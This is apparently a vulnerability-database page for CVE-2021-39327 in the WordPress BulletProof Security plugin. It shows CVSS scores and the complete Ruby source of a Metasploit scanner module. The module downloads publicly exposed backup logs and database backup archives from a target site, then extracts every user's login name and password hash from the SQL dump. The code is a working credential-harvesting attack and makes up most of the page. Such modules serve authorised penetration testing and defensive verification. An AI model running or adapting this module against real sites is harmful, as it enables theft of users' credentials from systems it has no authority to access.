Lucene search

K
metasploitRon Jost (Hacker5preme), h00dieMSF:AUXILIARY-SCANNER-HTTP-WP_BULLETPROOFSECURITY_BACKUPS-
HistoryOct 12, 2021 - 10:43 p.m.

Wordpress BulletProof Security Backup Disclosure

2021-10-1222:43:41
Ron Jost (Hacker5preme), h00die
www.rapid7.com
95

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.183 Low

EPSS

Percentile

96.1%

The Wordpress plugin BulletProof Security, versions <= 5.1, suffers from an information disclosure vulnerability, in that the db_backup_log.txt is publicly accessible. If the backup functionality is being utilized, this file will disclose where the backup files can be downloaded. After downloading the backup file, it will be parsed to grab all user credentials.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress BulletProof Security Backup Disclosure',
        'Description' => %q{
          The Wordpress plugin BulletProof Security, versions <= 5.1, suffers from an information disclosure
          vulnerability, in that the db_backup_log.txt is publicly accessible.  If the backup functionality
          is being utilized, this file will disclose where the backup files can be downloaded.
          After downloading the backup file, it will be parsed to grab all user credentials.
        },
        'Author' => [
          'Ron Jost (Hacker5preme)', # EDB module/discovery
          'h00die' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['EDB', '50382'],
          ['CVE', '2021-39327'],
          ['PACKETSTORM', '164420'],
          ['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md']
        ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'DisclosureDate' => '2021-09-17',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def parse_sqldump_fields(line)
    # pull all fields
    line =~ /\((.+)\)/
    return nil if Regexp.last_match(1).nil?

    fields = line.split(',')
    # strip each field
    fields.collect { |e| e ? e.strip : e }
  end

  def parse_sqldump(content, ip)
    read_next_line = false
    login = nil
    hash = nil
    content.each_line do |line|
      if read_next_line
        print_status("Found user line: #{line.strip}")
        fields = parse_sqldump_fields(line)
        username = fields[login].strip[1...-1] # remove quotes
        password = fields[hash].strip[1...-1] # remove quotes
        print_good("  Extracted user content: #{username} -> #{password}")
        read_next_line = false
        create_credential({
          workspace_id: myworkspace_id,
          origin_type: :service,
          module_fullname: fullname,
          username: username,
          private_type: :nonreplayable_hash,
          jtr_format: Metasploit::Framework::Hashes.identify_hash(password),
          private_data: password,
          service_name: 'Wordpress',
          address: ip,
          port: datastore['RPORT'],
          protocol: 'tcp',
          status: Metasploit::Model::Login::Status::UNTRIED
        })
      end
      # INSERT INTO `wp_users` ( ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name )
      next unless line.start_with?('INSERT INTO `wp_users`')

      read_next_line = true
      # process insert statement to find the fields we want
      next unless hash.nil?

      fields = parse_sqldump_fields(line)
      login = fields.index('user_login')
      hash = fields.index('user_pass')
    end
  end

  def parse_log(content, ip)
    base = nil
    file = nil
    content.each_line do |line|
      if line.include? 'DB Backup File Download Link|URL: '
        base = line.split(': ').last
        base = base.split('/')
        base = base[3, base.length] # strip off anything before the URI
        base = "/#{base.join('/')}".strip
      end
      if line.include? 'Zip Backup File Name: '
        file = line.split(': ').last
        file = file.split('/').last.strip
      end

      next if base.nil? || file.nil?

      vprint_status("Pulling: #{base}#{file}")
      res = send_request_cgi({
        'uri' => normalize_uri("#{base}#{file}")
      })
      base = nil
      next unless res && res.code == 200

      p = store_loot(file, 'application/zip', rhost, res.body, file)
      print_good("Stored DB Backup #{file} to #{p}, size: #{res.body.length}")
      Zip::File.open(p) do |zip_file|
        zip_file.each do |inner_file|
          is = inner_file.get_input_stream
          sqldump = is.read
          is.close
          parse_sqldump(sqldump, ip)
        end
      end
    end
  end

  def run_host(ip)
    vprint_status('Checking if target is online and running Wordpress...')
    fail_with(Failure::BadConfig, 'The target is not online and running Wordpress') unless wordpress_and_online?
    vprint_status('Checking plugin installed and vulnerable')
    checkcode = check_plugin_version_from_readme('bulletproof-security', '5.2')
    fail_with(Failure::BadConfig, 'The target is not running a vulnerable bulletproof-security version') if checkcode == Exploit::CheckCode::Safe
    print_status('Requesting Backup files')
    ['/wp-content/bps-backup/logs/db_backup_log.txt', '/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt'].each do |url|
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, url)
      })

      # <65 in length will be just the banner, like:
      # BPS DB BACKUP LOG
      # ==================
      # ==================
      unless res && res.code == 200 && res.body.length > 65
        print_error("#{url} not found on server or no data")
        next
      end
      filename = url.split('/').last
      p = store_loot(filename, 'text/plain', rhost, res.body, filename)
      print_good("Stored #{filename} to #{p}, size: #{res.body.length}")
      parse_log(res.body, ip)
    end
  end
end

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.183 Low

EPSS

Percentile

96.1%

Related for MSF:AUXILIARY-SCANNER-HTTP-WP_BULLETPROOFSECURITY_BACKUPS-